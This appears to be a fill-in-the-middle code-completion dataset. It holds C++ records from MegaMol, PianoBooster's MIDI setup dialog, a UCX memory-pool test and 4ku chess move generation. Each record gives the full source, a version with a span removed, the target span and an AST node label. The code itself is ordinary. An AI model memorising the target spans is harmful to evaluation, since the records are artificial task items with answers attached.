this->GetCoreInstance()->GetCallDescriptionManager().Find("CallRenderView"); if (desc != NULL) { Call* c = this->GetCoreInstance()->InstantiateCall( this->FullName() + "::renderView", vislib::StringA(msg.GetBodyAs<char>()) + "::render", desc); if (c == NULL) { Log::DefaultLog.WriteMsg( Log::LEVEL_ERROR, "Unable to connect cluster display to view %s\n", msg.GetBodyAs<char>()); } } else { Log::DefaultLog.WriteMsg(Log::LEVEL_ERROR, "Internal Error: \"CallRenderView\" is not registered\n"); } view::AbstractView* view = this->getConnectedView(); if (view != NULL) { view->RegisterHook(new InitCameraHookHandler(&sender)); } } break; case cluster::netmessages::MSG_SET_CAMERAVALUES: { view::AbstractView* av = this->getConnectedView(); if (av != NULL) { vislib::RawStorageSerialiser rss(static_cast<const BYTE*>(msg.GetBody()), msg.GetHeader().GetBodySize()); av->DeserialiseCamera(rss); } } break; case cluster::netmessages::MSG_SET_PARAMVALUE: { vislib::StringA name(msg.GetBodyAs<char>()); vislib::StringA value(msg.GetBodyAsAt<char>(name.Length() + 1)); AbstractNamedObject::ptr_type p = this->FindNamedObject(name, true); param::ParamSlot* ps = dynamic_cast<param::ParamSlot*>(p.get()); if (ps != NULL) { ps->Parameter()->ParseValue(value); } } break; default: Log::DefaultLog.WriteMsg(Log::LEVEL_INFO, "Unhandled message received: %u\n", static_cast<unsigned int>(msg.GetHeader().GetMessageID())); break; } }
function_block-function_prefix_line
[ { "content": " class MEGAMOLCORE_API CommChannelServer : public vislib::Listenable<CommChannelServer>, protected vislib::net::CommServerListener, protected CommChannel::Listener {\n\n public:\n\n\n\n /**\n\n * Class for listener object\n\n */\n", "file_path": "core/include/mmcor...
C++
src/GuiMidiSetupDialog.cpp
fred-wang/PianoBooster
ad03f2eb09aad225f00396c211a2edff330922fd
#include <QtWidgets> #include "GuiMidiSetupDialog.h" #if WITH_INTERNAL_FLUIDSYNTH #include "MidiDeviceFluidSynth.h" #endif GuiMidiSetupDialog::GuiMidiSetupDialog(QWidget *parent) : QDialog(parent) { m_song = nullptr; m_settings = nullptr; setupUi(this); m_latencyFix = 0; m_latencyChanged = false; midiSetupTabWidget->setCurrentIndex(0); #ifndef WITH_INTERNAL_FLUIDSYNTH midiSetupTabWidget->removeTab(midiSetupTabWidget->indexOf(tab_2)); #endif setWindowTitle(tr("Midi Setup")); } void GuiMidiSetupDialog::init(CSong* song, CSettings* settings) { m_song = song; m_settings = settings; QString portName; m_latencyFix = m_song->getLatencyFix(); refreshMidiInputCombo(); refreshMidiOutputCombo(); masterGainSpin->setValue(FLUID_DEFAULT_GAIN); reverbCheck->setChecked(false); chorusCheck->setChecked(false); sampleRateCombo->addItems({"22050", "44100","48000", "88200","96000"}); sampleRateCombo->setValidator(new QIntValidator(22050, 96000, this)); bufferSizeCombo->addItems({"64", "128", "512", "1024", "2024", "4096","8192"}); bufferSizeCombo->setValidator(new QIntValidator(64, 8192, this)); bufferSizeCombo->setCurrentIndex(1); bufferCountCombo->addItems({"2","4", "8","16", "32", "64"}); bufferCountCombo->setValidator(new QIntValidator(2, 64, this)); bufferCountCombo->setCurrentIndex(1); updateMidiInfoText(); audioDriverCombo->clear(); #if defined (Q_OS_LINUX) audioDriverCombo->addItems({"pulseaudio", "alsa"}); #elif defined (Q_OS_UNIX) || defined (Q_OS_DARWIN) audioDriverCombo->addItems({"pulseaudio"}); #endif if (m_settings->getFluidSoundFontNames().size()>0){ masterGainSpin->setValue(m_settings->value("FluidSynth/masterGainSpin","40").toInt()); reverbCheck->setChecked(m_settings->value("FluidSynth/reverbCheck","false").toBool()); chorusCheck->setChecked(m_settings->value("FluidSynth/chorusCheck","false").toBool()); setComboFromSetting(audioDriverCombo, "FluidSynth/audioDriverCombo","pulseaudio"); setComboFromSetting(sampleRateCombo, "FluidSynth/sampleRateCombo","22050"); setComboFromSetting(bufferSizeCombo, "FluidSynth/bufferSizeCombo","128"); setComboFromSetting(bufferCountCombo, "FluidSynth/bufferCountCombo","4"); } updateFluidInfoStatus(); } void GuiMidiSetupDialog::setComboFromSetting(QComboBox *combo, const QString &key, const QVariant &defaultValue) { QString value = m_settings->value(key, defaultValue).toString(); int index = combo->findText(value); if ( index != -1 ) { combo->setCurrentIndex(index); } else { combo->setCurrentText(value); } } void GuiMidiSetupDialog::refreshMidiInputCombo() { int i = 0; midiInputCombo->clear(); midiInputCombo->addItem(tr("None (PC Keyboard)")); midiInputCombo->addItems(m_song->getMidiPortList(CMidiDevice::MIDI_INPUT)); i = midiInputCombo->findText(m_settings->value("Midi/Input").toString()); if (i!=-1) midiInputCombo->setCurrentIndex(i); } void GuiMidiSetupDialog::refreshMidiOutputCombo() { int i = 0; midiOutputCombo->clear(); midiOutputCombo->addItem(tr("None")); midiOutputCombo->addItems(m_song->getMidiPortList(CMidiDevice::MIDI_OUTPUT)); i = midiOutputCombo->findText(m_settings->value("Midi/Output").toString()); if (i!=-1) midiOutputCombo->setCurrentIndex(i); } void GuiMidiSetupDialog::updateMidiInfoText() { midiInfoText->clear(); if (midiInputCombo->currentIndex() == 0) midiInfoText->append("<span style=\"color:black\">" + tr("If you don't have a MIDI keyboard you can use the PC keyboard; 'X' is middle C.") + "</span>"); else if (midiInputCombo->currentText().contains("Midi Through", Qt::CaseInsensitive)) midiInfoText->append("<span style=\"color:#FF6600\">" + tr("The use of Midi Through is not recommended!") + "</span>"); else midiInfoText->append("<span style=\"color:gray\">" + tr("Midi Input Device:") + " " + midiInputCombo->currentText() +"</span>"); if (midiOutputCombo->currentText() == tr("None")) midiInfoText->append("<span style=\"color:red\">" + tr("No Sound Output Device selected; Choose a Midi Output Device") + "</span>"); else if (midiOutputCombo->currentText().contains("Midi Through", Qt::CaseInsensitive)) midiInfoText->append("<span style=\"color:#FF6600\">" + tr("The use of Midi Through is not recommended!") + "</span>"); else if (midiOutputCombo->currentText().contains("Microsoft GS Wavetable", Qt::CaseInsensitive)) midiInfoText->append("<span style=\"color:#FF6600\">" + tr("Note: the Microsoft GS Wavetable Synth introduces an unwanted delay!") + "\n" + tr("(Try a latency fix of 150msc)") + "</span>"); else midiInfoText->append("<span style=\"color:gray\">" + tr("Midi Output Device:") + " " + midiOutputCombo->currentText() +"</span>"); latencyFixLabel->setText(tr("%1 mSec").arg(m_latencyFix)); updateFluidInfoStatus(); } void GuiMidiSetupDialog::on_midiInputCombo_activated (int index) { updateMidiInfoText(); } void GuiMidiSetupDialog::on_midiOutputCombo_activated (int index) { updateMidiInfoText(); } void GuiMidiSetupDialog::on_latencyFixButton_clicked ( bool checked ) { bool ok; int latencyFix = QInputDialog::getInt(this, tr("Enter a value for the latency fix in milliseconds"), tr( "The latency fix works by running the music ahead of what you<br>" "are playing to counteract the delay within the sound generator.<br><br>" "You will need a piano <b>with speakers</b> that are <b>turned up</b>.<br><br>" "Enter the time in milliseconds for the delay (1000 mSec = 1 sec)<br>" "(For the Microsoft GS Wavetable SW Synth try a value of 150)<br>" "If you are not sure enter a value of zero."), m_latencyFix, 0, 1000, 50, &ok); if (ok) { m_latencyFix = latencyFix; m_latencyChanged = true; updateMidiInfoText(); } } void GuiMidiSetupDialog::accept() { if (m_settings->getFluidSoundFontNames().size()==0){ m_settings->remove("FluidSynth"); }else{ m_settings->setValue("FluidSynth/masterGainSpin",masterGainSpin->value()); m_settings->setValue("FluidSynth/bufferSizeCombo", bufferSizeCombo->currentText()); m_settings->setValue("FluidSynth/bufferCountCombo", bufferCountCombo->currentText()); m_settings->setValue("FluidSynth/reverbCheck",reverbCheck->isChecked()); m_settings->setValue("FluidSynth/chorusCheck",chorusCheck->isChecked()); m_settings->setValue("FluidSynth/audioDriverCombo",audioDriverCombo->currentText()); m_settings->setValue("FluidSynth/sampleRateCombo",sampleRateCombo->currentText()); } m_settings->saveSoundFontSettings(); m_settings->setValue("Midi/Input", midiInputCombo->currentText()); m_song->openMidiPort(CMidiDevice::MIDI_INPUT, midiInputCombo->currentText() ); if (midiInputCombo->currentText().startsWith(tr("None"))) CChord::setPianoRange(PC_KEY_LOWEST_NOTE, PC_KEY_HIGHEST_NOTE); else CChord::setPianoRange(m_settings->value("Keyboard/LowestNote", 0).toInt(), m_settings->value("Keyboard/HighestNote", 127).toInt()); if (midiOutputCombo->currentIndex()==0){ m_settings->setValue("Midi/Output", ""); m_song->openMidiPort(CMidiDevice::MIDI_OUTPUT,""); }else{ m_settings->setValue("Midi/Output", midiOutputCombo->currentText()); m_song->openMidiPort(CMidiDevice::MIDI_OUTPUT, midiOutputCombo->currentText() ); } m_settings->updateWarningMessages(); m_settings->setValue("Midi/Latency", m_latencyFix); m_song->setLatencyFix(m_latencyFix); m_song->regenerateChordQueue(); if (m_latencyChanged) { if( m_latencyFix> 0) { int rightSound = m_settings->value("Keyboard/RightSound", Cfg::defaultRightPatch()).toInt(); m_settings->setValue("Keyboard/RightSoundPrevious", rightSound); m_settings->setValue("Keyboard/RightSound", 0); m_song->setPianoSoundPatches( -1, -2); } else { int previousRightSound = m_settings->value("Keyboard/RightSoundPrevious", Cfg::defaultRightPatch()).toInt(); m_settings->setValue("Keyboard/RightSound", previousRightSound); m_song->setPianoSoundPatches(previousRightSound, -2); } m_latencyChanged = false; } this->QDialog::accept(); } void GuiMidiSetupDialog::updateFluidInfoStatus() { QStringList soundFontNames = m_settings->getFluidSoundFontNames(); soundFontList->clear(); if (!m_settings->getFluidSoundFontNames().isEmpty()) { QFileInfo fileInfo = QFileInfo(m_settings->getFluidSoundFontNames().at(0)); if (fileInfo.exists()) { soundFontList->addItem(fileInfo.fileName()); } } bool fontLoaded = (soundFontList->count() > 0) ? true : false; fluidClearButton->setEnabled(fontLoaded); fluidLoadButton->setEnabled(soundFontList->count() < 2 ? true : false); fluidSettingsGroupBox->setEnabled(fontLoaded); } void GuiMidiSetupDialog::on_fluidLoadButton_clicked ( bool checked ) { #if WITH_INTERNAL_FLUIDSYNTH QString lastSoundFont = m_settings->value("LastSoundFontDir","").toString(); if (lastSoundFont.isEmpty()) { lastSoundFont = QDir::homePath(); QStringList possibleSoundFontFolders; #if defined (Q_OS_LINUX) || defined (Q_OS_UNIX) possibleSoundFontFolders.push_back("/usr/share/soundfonts"); possibleSoundFontFolders.push_back("/usr/share/sounds/sf2"); #endif for (QString soundFontFolder:possibleSoundFontFolders){ QDir dir(soundFontFolder); if (dir.exists()){ lastSoundFont=soundFontFolder; break; } } } QFileInfo soundFontInfo = QFileDialog::getOpenFileName(this, tr("Open SoundFont File for fluidsynth"), lastSoundFont, tr("SoundFont Files (*.sf2 *.sf3)")); if (!soundFontInfo.isFile()) return; m_settings->setFluidSoundFontNames(soundFontInfo.filePath()); m_settings->setValue("LastSoundFontDir", soundFontInfo.path()); if (m_settings->isNewSoundFontEntered()) { int i = midiOutputCombo->findText(CMidiDeviceFluidSynth::getFluidInternalName()); if (i==-1) midiOutputCombo->addItem(CMidiDeviceFluidSynth::getFluidInternalName()); i = midiOutputCombo->findText(CMidiDeviceFluidSynth::getFluidInternalName()); if (i!=-1) midiOutputCombo->setCurrentIndex(i); } updateFluidInfoStatus(); updateMidiInfoText(); #endif } void GuiMidiSetupDialog::on_fluidClearButton_clicked( bool checked ){ #if WITH_INTERNAL_FLUIDSYNTH m_settings->clearFluidSoundFontNames(); int i = midiOutputCombo->findText(CMidiDeviceFluidSynth::getFluidInternalName()); if (i>=0) { midiOutputCombo->removeItem(i); midiOutputCombo->setCurrentIndex(0); } updateFluidInfoStatus(); #endif }
#include <QtWidgets> #include "GuiMidiSetupDialog.h" #if WITH_INTERNAL_FLUIDSYNTH #include "MidiDeviceFluidSynth.h" #endif GuiMidiSetupDialog::GuiMidiSetupDialog(QWidget *parent) : QDialog(parent) { m_song = nullptr; m_settings = nullptr; setupUi(this); m_latencyFix = 0; m_latencyChanged = false; midiSetupTabWidget->setCurrentIndex(0); #ifndef WITH_INTERNAL_FLUIDSYNTH midiSetupTabWidget->removeTab(midiSetupTabWidget->indexOf(tab_2)); #endif setWindowTitle(tr("Midi Setup")); } void GuiMidiSetupDialog::init(CSong* song, CSettings* settings) { m_song = song; m_settings = settings; QString portName; m_latencyFix = m_song->getLatencyFix(); refreshMidiInputCombo(); refreshMidiOutputCombo(); masterGainSpin->setValue(FLUID_DEFAULT_GAIN); reverbCheck->setChecked(false); chorusCheck->setChecked(false); sampleRateCombo->addItems({"22050", "44100","48000", "88200","96000"}); sampleRateCombo->setValidator(new QIntValidator(22050, 96000, this)); bufferSizeCombo->addItems({"64", "128", "512", "1024", "2024", "4096","8192"}); bufferSizeCombo->setValidator(new QIntValidator(64, 8192, this)); bufferSizeCombo->setCurrentIndex(1); bufferCountCombo->addItems({"2","4", "8","16", "32", "64"}); bufferCountCombo->setValidator(new QIntValidator(2, 64, this)); bufferCountCombo->setCurrentIndex(1); updateMidiInfoText(); audioDriverCombo->clear(); #if defined (Q_OS_LINUX) audioDriverCombo->addItems({"pulseaudio", "alsa"}); #elif defined (Q_OS_UNIX) || defined (Q_OS_DARWIN) audioDriverCombo->addItems({"pulseaudio"}); #endif if (m_settings->getFluidSoundFontNames().size()>0){ masterGainSpin->setValue(m_settings->value("FluidSynth/masterGainSpin","40").toInt()); reverbCheck->setChecked(m_settings->value("FluidSynth/reverbCheck","false").toBool()); chorusCheck->setChecked(m_settings->value("FluidSynth/chorusCheck","false").toBool()); setComboFromSetting(audioDriverCombo, "FluidSynth/audioDriverCombo","pulseaudio"); setComboFromSetting(sampleRateCombo, "FluidSynth/sampleRateCombo","22050"); setComboFromSetting(bufferSizeCombo, "FluidSynth/bufferSizeCombo","128"); setComboFromSetting(bufferCountCombo, "FluidSynth/bufferCountCombo","4"); } updateFluidInfoStatus(); } void GuiMidiSetupDialog::setComboFromSetting(QComboBox *combo, const QString &key, const QVariant &defaultValue) { QString value = m_settings->value(key, defaultValue).toString(); int index = combo->findText(value); if ( index != -1 ) { combo->setCurrentIndex(index); } else { combo->setCurrentText(value); } } void GuiMidiSetupDialog::refreshMidiInputCombo() { int i = 0; midiInputCombo->clear(); midiInputCombo->addItem(tr("None (PC Keyboard)")); midiInputCombo->addItems(m_song->getMidiPortList(CMidiDevice::MIDI_INPUT)); i = midiInputCombo->findText(m_settings->value("Midi/Input").toString()); if (i!=-1) midiInputCombo->setCurrentIndex(i); } void GuiMidiSetupDialog::refreshMidiOutputCombo() { int i = 0; midiOutputCombo->clear(); midiOutputCombo->addItem(tr("None")); midiOutputCombo->addItems(m_song->getMidiPortList(CMidiDevice::MIDI_OUTPUT)); i = midiOutputCombo->findText(m_settings->value("Midi/Output").toString()); if (i!=-1) midiOutputCombo->setCurrentIndex(i); } void GuiMidiSetupDialog::updateMidiInfoText() { midiInfoText->clear(); if (midiInputCombo->currentIndex() == 0) midiInfoText->append("<span style=\"color:black\">" + tr("If you don't have a MIDI keyboard you can use the PC keyboard; 'X' is middle C.") + "</span>"); else if (midiInputCombo->currentText().contains("Midi Through", Qt::CaseInsensitive)) midiInfoText->append("<span style=\"color:#FF6600\">" + tr("The use of Midi Through is not recommended!") + "</span>"); else midiInfoText->append("<span style=\"color:gray\">" + tr("Midi Input Device:") + " " + midiInputCombo->currentText() +"</span>"); if (midiOutputCombo->currentText() == tr("None")) midiInfoText->append("<span style=\"color:red\">" + tr("No Sound Output Device selected; Choose a Midi Output Device") + "</span>"); else if (midiOutputCombo->currentText().contains("Midi Through", Qt::CaseInsensitive)) midiInfoText->append("<span style=\"color:#FF6600\">" + tr("The use of Midi Through is not recommended!") + "</span>"); else if (midiOutputCombo->currentText().contains("Microsoft GS Wavetable", Qt::CaseInsensitive)) midiInfoText->append("<span style=\"color:#FF6600\">" + tr("Note: the Microsoft GS Wavetable Synth introduces an unwanted delay!") + "\n" + tr("(Try a latency fix of 150msc)") + "</span>"); else midiInfoText->append("<span style=\"color:gray\">" + tr("Midi Output Device:") + " " + midiOutputCombo->currentText() +"</span>"); latencyFixLabel->setText(tr("%1 mSec").arg(m_latencyFix)); updateFluidInfoStatus(); } void GuiMidiSetupDialog::on_midiInputCombo_activated (int index) { updateMidiInfoText(); } void GuiMidiSetupDialog::on_midiOutputCombo_activated (int index) { updateMidiInfoText(); } void GuiMidiSetupDialog::on_latencyFixButton_clicked ( bool checked ) { bool ok; int latencyFix = QInputDialog::getInt(this, tr("Enter a value for the latency fix in milliseconds"),
, m_latencyFix, 0, 1000, 50, &ok); if (ok) { m_latencyFix = latencyFix; m_latencyChanged = true; updateMidiInfoText(); } } void GuiMidiSetupDialog::accept() { if (m_settings->getFluidSoundFontNames().size()==0){ m_settings->remove("FluidSynth"); }else{ m_settings->setValue("FluidSynth/masterGainSpin",masterGainSpin->value()); m_settings->setValue("FluidSynth/bufferSizeCombo", bufferSizeCombo->currentText()); m_settings->setValue("FluidSynth/bufferCountCombo", bufferCountCombo->currentText()); m_settings->setValue("FluidSynth/reverbCheck",reverbCheck->isChecked()); m_settings->setValue("FluidSynth/chorusCheck",chorusCheck->isChecked()); m_settings->setValue("FluidSynth/audioDriverCombo",audioDriverCombo->currentText()); m_settings->setValue("FluidSynth/sampleRateCombo",sampleRateCombo->currentText()); } m_settings->saveSoundFontSettings(); m_settings->setValue("Midi/Input", midiInputCombo->currentText()); m_song->openMidiPort(CMidiDevice::MIDI_INPUT, midiInputCombo->currentText() ); if (midiInputCombo->currentText().startsWith(tr("None"))) CChord::setPianoRange(PC_KEY_LOWEST_NOTE, PC_KEY_HIGHEST_NOTE); else CChord::setPianoRange(m_settings->value("Keyboard/LowestNote", 0).toInt(), m_settings->value("Keyboard/HighestNote", 127).toInt()); if (midiOutputCombo->currentIndex()==0){ m_settings->setValue("Midi/Output", ""); m_song->openMidiPort(CMidiDevice::MIDI_OUTPUT,""); }else{ m_settings->setValue("Midi/Output", midiOutputCombo->currentText()); m_song->openMidiPort(CMidiDevice::MIDI_OUTPUT, midiOutputCombo->currentText() ); } m_settings->updateWarningMessages(); m_settings->setValue("Midi/Latency", m_latencyFix); m_song->setLatencyFix(m_latencyFix); m_song->regenerateChordQueue(); if (m_latencyChanged) { if( m_latencyFix> 0) { int rightSound = m_settings->value("Keyboard/RightSound", Cfg::defaultRightPatch()).toInt(); m_settings->setValue("Keyboard/RightSoundPrevious", rightSound); m_settings->setValue("Keyboard/RightSound", 0); m_song->setPianoSoundPatches( -1, -2); } else { int previousRightSound = m_settings->value("Keyboard/RightSoundPrevious", Cfg::defaultRightPatch()).toInt(); m_settings->setValue("Keyboard/RightSound", previousRightSound); m_song->setPianoSoundPatches(previousRightSound, -2); } m_latencyChanged = false; } this->QDialog::accept(); } void GuiMidiSetupDialog::updateFluidInfoStatus() { QStringList soundFontNames = m_settings->getFluidSoundFontNames(); soundFontList->clear(); if (!m_settings->getFluidSoundFontNames().isEmpty()) { QFileInfo fileInfo = QFileInfo(m_settings->getFluidSoundFontNames().at(0)); if (fileInfo.exists()) { soundFontList->addItem(fileInfo.fileName()); } } bool fontLoaded = (soundFontList->count() > 0) ? true : false; fluidClearButton->setEnabled(fontLoaded); fluidLoadButton->setEnabled(soundFontList->count() < 2 ? true : false); fluidSettingsGroupBox->setEnabled(fontLoaded); } void GuiMidiSetupDialog::on_fluidLoadButton_clicked ( bool checked ) { #if WITH_INTERNAL_FLUIDSYNTH QString lastSoundFont = m_settings->value("LastSoundFontDir","").toString(); if (lastSoundFont.isEmpty()) { lastSoundFont = QDir::homePath(); QStringList possibleSoundFontFolders; #if defined (Q_OS_LINUX) || defined (Q_OS_UNIX) possibleSoundFontFolders.push_back("/usr/share/soundfonts"); possibleSoundFontFolders.push_back("/usr/share/sounds/sf2"); #endif for (QString soundFontFolder:possibleSoundFontFolders){ QDir dir(soundFontFolder); if (dir.exists()){ lastSoundFont=soundFontFolder; break; } } } QFileInfo soundFontInfo = QFileDialog::getOpenFileName(this, tr("Open SoundFont File for fluidsynth"), lastSoundFont, tr("SoundFont Files (*.sf2 *.sf3)")); if (!soundFontInfo.isFile()) return; m_settings->setFluidSoundFontNames(soundFontInfo.filePath()); m_settings->setValue("LastSoundFontDir", soundFontInfo.path()); if (m_settings->isNewSoundFontEntered()) { int i = midiOutputCombo->findText(CMidiDeviceFluidSynth::getFluidInternalName()); if (i==-1) midiOutputCombo->addItem(CMidiDeviceFluidSynth::getFluidInternalName()); i = midiOutputCombo->findText(CMidiDeviceFluidSynth::getFluidInternalName()); if (i!=-1) midiOutputCombo->setCurrentIndex(i); } updateFluidInfoStatus(); updateMidiInfoText(); #endif } void GuiMidiSetupDialog::on_fluidClearButton_clicked( bool checked ){ #if WITH_INTERNAL_FLUIDSYNTH m_settings->clearFluidSoundFontNames(); int i = midiOutputCombo->findText(CMidiDeviceFluidSynth::getFluidInternalName()); if (i>=0) { midiOutputCombo->removeItem(i); midiOutputCombo->setCurrentIndex(0); } updateFluidInfoStatus(); #endif }
tr( "The latency fix works by running the music ahead of what you<br>" "are playing to counteract the delay within the sound generator.<br><br>" "You will need a piano <b>with speakers</b> that are <b>turned up</b>.<br><br>" "Enter the time in milliseconds for the delay (1000 mSec = 1 sec)<br>" "(For the Microsoft GS Wavetable SW Synth try a value of 150)<br>" "If you are not sure enter a value of zero.")
call_expression
[ { "content": "class CMidiDeviceFluidSynth : public CMidiDeviceBase\n\n{\n\n virtual void init();\n\n //! add a midi event to be played immediately\n\n virtual void playMidiEvent(const CMidiEvent & event);\n\n virtual int checkMidiInput();\n\n virtual CMidiEvent readMidiInput();\n\n virtual QSt...
C++
test/gtest/ucs/test_mpool.cc
mike-dubman/ucx
70f1617bbf43bde993f6fb135c2b6694a888f2b5
#include <ucs/gtest/test.h> extern "C" { #include <ucs/datastruct/mpool.h> } #include <vector> #include <queue> class test_mpool : public ucs::test { protected: static ucs_status_t test_alloc(void *mp_context, size_t *size, void **chunk_p UCS_MEMTRACK_ARG) { *chunk_p = malloc(*size); *(void**)mp_context = *chunk_p; return (*chunk_p == NULL) ? UCS_ERR_NO_MEMORY : UCS_OK; } static void test_free(void *mp_context, void *chunk) { free(chunk); *(void**)mp_context = NULL; } static const size_t header_size = 30; static const size_t data_size = 152; static const size_t align = 114; }; UCS_TEST_F(test_mpool, no_allocs) { ucs_mpool_h mp; ucs_status_t status; status = ucs_mpool_create("test", header_size + data_size, header_size, align, 6, 18, NULL, ucs_mpool_chunk_malloc, ucs_mpool_chunk_free, NULL, NULL, &mp); ASSERT_UCS_OK(status); ucs_mpool_destroy(mp); } UCS_TEST_F(test_mpool, basic) { ucs_status_t status; ucs_mpool_h mp; status = ucs_mpool_create("test", header_size + data_size, header_size, align, 6, 18, NULL, ucs_mpool_chunk_malloc, ucs_mpool_chunk_free, NULL, NULL, &mp); ASSERT_UCS_OK(status); for (unsigned loop = 0; loop < 10; ++loop) { std::vector<void*> objs; for (unsigned i = 0; i < 18; ++i) { void *ptr = ucs_mpool_get(mp); ASSERT_TRUE(ptr != NULL); ASSERT_EQ(0ul, ((uintptr_t)ptr + header_size) % align) << ptr; memset(ptr, 0xAA, header_size + data_size); objs.push_back(ptr); } ASSERT_TRUE(NULL == ucs_mpool_get(mp)); for (std::vector<void*>::iterator iter = objs.begin(); iter != objs.end(); ++iter) { ucs_mpool_put(*iter); } } ucs_mpool_destroy(mp); } UCS_TEST_F(test_mpool, custom_alloc) { ucs_status_t status; ucs_mpool_h mp; void *ptr = NULL; status = ucs_mpool_create("test", header_size + data_size, header_size, align, 5, 18, &ptr, test_alloc, test_free, NULL, NULL, &mp); ASSERT_UCS_OK(status); void *obj = ucs_mpool_get(mp); EXPECT_TRUE(obj != NULL); EXPECT_TRUE(ptr != NULL); ucs_mpool_put(obj); ucs_mpool_destroy(mp); EXPECT_TRUE(NULL == ptr); } UCS_TEST_F(test_mpool, infinite) { const unsigned NUM_ELEMS = 1000000 / ucs::test_time_multiplier(); ucs_status_t status; ucs_mpool_h mp; status = ucs_mpool_create("test", header_size + data_size, header_size, align, 10000, UCS_MPOOL_INFINITE, NULL, ucs_mpool_chunk_malloc, ucs_mpool_chunk_free, NULL, NULL, &mp); ASSERT_UCS_OK(status); std::queue<void*> q; for (unsigned i = 0; i < NUM_ELEMS; ++i) { void *obj = ucs_mpool_get(mp); ASSERT_TRUE(obj != NULL); q.push(obj); } while (!q.empty()) { ucs_mpool_put(q.front()); q.pop(); } ucs_mpool_destroy(mp); }
#include <ucs/gtest/test.h> extern "C" { #include <ucs/datastruct/mpool.h> } #include <vector> #include <queue> class test_mpool : public ucs::test { protected: static ucs_status_t test_alloc(void *mp_context, size_t *size, void **chunk_p UCS_MEMTRACK_ARG) { *chunk_p = malloc(*size); *(void**)mp_context = *chunk_p; return (*chunk_p == NULL) ? UCS_ERR_NO_MEMORY : UCS_OK; } static void test_free(void *mp_context, void *chunk) { free(chunk); *(void**)mp_context = NULL; } static const size_t header_size = 30; static const size_t data_size = 152; static const size_t align = 114; }; UCS_TEST_F(test_mpool, no_allocs) { ucs_mpool_h mp; ucs_status_t status; status = ucs_mpool_create("test", header_size + data_size, header_size, align, 6, 18, NULL, ucs_mpool_chunk_malloc, ucs_mpool_chunk_free, NULL, NULL, &mp); ASSERT_UCS_OK(status); ucs_mpool_destroy(mp); } UCS_TEST_F(test_mpool, basic) { ucs_status_t status; ucs_mpool_h mp;
; ASSERT_UCS_OK(status); for (unsigned loop = 0; loop < 10; ++loop) { std::vector<void*> objs; for (unsigned i = 0; i < 18; ++i) { void *ptr = ucs_mpool_get(mp); ASSERT_TRUE(ptr != NULL); ASSERT_EQ(0ul, ((uintptr_t)ptr + header_size) % align) << ptr; memset(ptr, 0xAA, header_size + data_size); objs.push_back(ptr); } ASSERT_TRUE(NULL == ucs_mpool_get(mp)); for (std::vector<void*>::iterator iter = objs.begin(); iter != objs.end(); ++iter) { ucs_mpool_put(*iter); } } ucs_mpool_destroy(mp); } UCS_TEST_F(test_mpool, custom_alloc) { ucs_status_t status; ucs_mpool_h mp; void *ptr = NULL; status = ucs_mpool_create("test", header_size + data_size, header_size, align, 5, 18, &ptr, test_alloc, test_free, NULL, NULL, &mp); ASSERT_UCS_OK(status); void *obj = ucs_mpool_get(mp); EXPECT_TRUE(obj != NULL); EXPECT_TRUE(ptr != NULL); ucs_mpool_put(obj); ucs_mpool_destroy(mp); EXPECT_TRUE(NULL == ptr); } UCS_TEST_F(test_mpool, infinite) { const unsigned NUM_ELEMS = 1000000 / ucs::test_time_multiplier(); ucs_status_t status; ucs_mpool_h mp; status = ucs_mpool_create("test", header_size + data_size, header_size, align, 10000, UCS_MPOOL_INFINITE, NULL, ucs_mpool_chunk_malloc, ucs_mpool_chunk_free, NULL, NULL, &mp); ASSERT_UCS_OK(status); std::queue<void*> q; for (unsigned i = 0; i < NUM_ELEMS; ++i) { void *obj = ucs_mpool_get(mp); ASSERT_TRUE(obj != NULL); q.push(obj); } while (!q.empty()) { ucs_mpool_put(q.front()); q.pop(); } ucs_mpool_destroy(mp); }
status = ucs_mpool_create("test", header_size + data_size, header_size, align, 6, 18, NULL, ucs_mpool_chunk_malloc, ucs_mpool_chunk_free, NULL, NULL, &mp)
assignment_statement
[ { "content": "class test_ucp_basic : public ucp_test {\n\n};\n\n\n\nUCS_TEST_F(test_ucp_basic, entity) {\n\n create_entity();\n\n}\n", "file_path": "test/gtest/ucp/test_ucp_basic.cc", "rank": 0, "score": 205307.06789813587 }, { "content": "class uct_test : public testing::TestWithParam<co...
C++
src/chess/movegen.cpp
justNo4b/4ku
0a30ca581f2a8309c03bd9525f8995c94b9e11e5
#include "movegen.hpp" #include "attack.hpp" #include "move.hpp" #include "piece.hpp" #include "position.hpp" #include "raycast.hpp" namespace chess { [[nodiscard]] int generate_piece_moves(Move *movelist, const Position &pos, const Piece piece, Bitboard (*func)(int, Bitboard)) { int num_moves = 0; for (const auto &fr : pos.colour[0] & pos.pieces[static_cast<int>(piece)]) { auto moves = func(fr, pos.colour[0] | pos.colour[1]); moves &= ~pos.colour[0]; for (const auto to : moves) { const auto captured = piece_on(pos, to); if (captured != Piece::None) { movelist[num_moves] = Move(Move::Type::Capture, piece, fr, to, captured); } else { movelist[num_moves] = Move(Move::Type::Quiet, piece, fr, to); } num_moves++; } } return num_moves; } int movegen(const Position &pos, Move *movelist) { int num_moves = 0; const auto empty = ~(pos.colour[0] | pos.colour[1]); const auto pawns = pos.colour[0] & pos.pieces[static_cast<int>(Piece::Pawn)]; for (const auto &to : pawns.north() & empty) { if (to >= 56) { movelist[num_moves + 0] = Move(Move::Type::Promo, Piece::Pawn, to - 8, to); movelist[num_moves + 0].promo = Piece::Queen; movelist[num_moves + 1] = Move(Move::Type::Promo, Piece::Pawn, to - 8, to); movelist[num_moves + 1].promo = Piece::Rook; movelist[num_moves + 2] = Move(Move::Type::Promo, Piece::Pawn, to - 8, to); movelist[num_moves + 2].promo = Piece::Bishop; movelist[num_moves + 3] = Move(Move::Type::Promo, Piece::Pawn, to - 8, to); movelist[num_moves + 3].promo = Piece::Knight; num_moves += 4; } else { movelist[num_moves] = Move(Move::Type::Quiet, Piece::Pawn, to - 8, to); num_moves++; } } for (const auto &fr : (empty.south() & empty).south() & pawns & Bitboard(0xFF00ULL)) { movelist[num_moves] = Move(Move::Type::Double, Piece::Pawn, fr, fr + 16); num_moves++; } for (const auto &to : pawns.ne() & pos.colour[1]) { if (to >= 56) { movelist[num_moves + 0] = Move(Move::Type::Promocapture, Piece::Pawn, to - 9, to, piece_on(pos, to)); movelist[num_moves + 0].promo = Piece::Queen; movelist[num_moves + 1] = Move(Move::Type::Promocapture, Piece::Pawn, to - 9, to, piece_on(pos, to)); movelist[num_moves + 1].promo = Piece::Rook; movelist[num_moves + 2] = Move(Move::Type::Promocapture, Piece::Pawn, to - 9, to, piece_on(pos, to)); movelist[num_moves + 2].promo = Piece::Bishop; movelist[num_moves + 3] = Move(Move::Type::Promocapture, Piece::Pawn, to - 